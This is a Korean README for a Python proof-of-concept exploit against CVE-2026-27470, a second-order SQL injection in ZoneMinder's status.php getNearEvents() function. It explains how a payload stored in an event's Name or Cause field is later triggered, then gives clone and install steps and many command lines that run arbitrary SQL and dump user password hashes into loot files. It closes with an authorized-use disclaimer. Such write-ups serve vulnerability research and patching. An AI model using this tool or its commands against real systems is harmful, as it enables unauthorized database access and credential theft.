
# CVE-2026-27470용 Python PoC, ZoneMinder의 getNearEvents()(status.php)에서 인증된 2차 SQL 인젝션, CVSS 8.8
작성자: d3vn0mi | CVSS 8.8 | 인증 필요 | Events 권한 필요
CVE-2026-27470은 ZoneMinder의 web/ajax/status.php — 구체적으로 getNearEvents() 함수에서 발생하는 2차 SQL 인젝션 취약점입니다.
| 세부 사항 | 값 |
|---|
| 영향 버전 | ZoneMinder <= 1.36.37 및 1.37.61 – 1.38.0 |
| 수정 버전 | 1.36.38 / 1.38.1 |
| 유형 | 2차 SQL 인젝션 |
| 인증 필요 | 예 (Events 권한이 있는 모든 사용자) |
| CVSS | 8.8 (높음) |
이 취약점은 2단계(2차) SQL 인젝션입니다:
1단계 — 저장: 공격자는 이벤트 이름을 변경하거나(또는 Cause 필드를 편집하여) SQL 페이로드를 포함시킵니다. ZoneMinder는 이 쓰기 작업에 매개변수화된 쿼리를 사용하므로 페이로드는 데이터베이스에 안전하게 저장됩니다 — WAF나 필터가 차단하지 않습니다.
2단계 — 트리거: 공격자는 상태 API를 통해 nearevents 엔티티를 요청합니다. getNearEvents() 함수는 데이터베이스에서 저장된 이벤트 이름/Cause를 읽어 새 SQL 쿼리에 직접 연결하며, 이때 삭제(소독) 처리가 없어 SQL 인젝션이 발생합니다.
인젝션 벡터(저장된 데이터)가 트리거(깨끗한 GET 요청)와 분리되어 있기 때문에 대부분의 입력 수준 보호 장치를 우회합니다.
git clone https://github.com/d3vn0mi/CVE-2026-27470-POC.git
cd CVE-2026-27470-POC
pip install -r requirements.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT user()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users
자격 증명은 기본적으로 dumped_creds.txt에 저장됩니다.
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users -o loot.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT @@datadir" -o result.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --proxy http://127.0.0.1:8080
python3 poc.py -t http://10.10.10.10 -u admin -p password --field Cause --query "SELECT database()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --event-id 42
python3 poc.py -t http://10.10.10.10 -u admin -p password -v
| 플래그 | 설명 | 기본값 |
|---|---|---|
-t, --target | 대상 URL | (필수) |
-u, --username | ZoneMinder 사용자 이름 | (필수) |
-p, --password | ZoneMinder 비밀번호 | (필수) |
--query | 실행할 SQL 쿼리 | SELECT VERSION() |
--dump-users | 모든 사용자 이름과 비밀번호 해시 덤프 | |
-o, --output | 결과를 파일로 저장 | dumped_creds.txt |
--event-id | 인젝션 전달에 사용할 이벤트 ID | (자동 감지) |
--field | 인젝션 필드: Name 또는 Cause | Name |
--no-restore | 공격 후 이벤트 이름을 복원하지 않음 | |
--proxy | HTTP 프록시 URL | |
--timeout | 요청 제한 시간(초) | 30 |
-v, --verbose | 디버그 로깅 활성화 |
이 도구는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에 사용하지 마십시오. 작성자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.